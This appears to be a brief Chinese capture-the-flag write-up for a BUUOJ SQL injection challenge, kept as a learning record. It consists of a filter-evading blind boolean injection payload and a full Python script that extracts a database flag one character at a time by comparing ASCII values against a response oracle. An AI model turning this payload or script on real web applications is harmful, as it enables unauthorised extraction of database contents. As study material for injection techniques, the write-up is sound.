题目：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))   防过滤

直接贴脚本记录学习一下

import requests

from lxml import etree

def a():

    url="http://6a93b089-ace7-4ece-8334-b10dd79ac360.node3.buuoj.cn/"

    flag="Hello, glzjin wants a girlfriend."

    final=""

    stop=0

    for i in range(1,1290):

        print("*"*50,i,"*"*50)

        stop=0

        for j in range(32,129):

            stop = j

            data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}

            re = requests.post(url=url,data=data).text.replace('\n','')

            html = etree.HTML(re).xpath("//text()")

            # print(">>",html)

            if flag in html:

                  final+=chr(j)

                  print("\n\t\t\t\t",final)

                  break

        if stop >= 128:

            print("*"*50,"结束")

            print(">>",final)

            break

if __name__ == '__main__':

      a()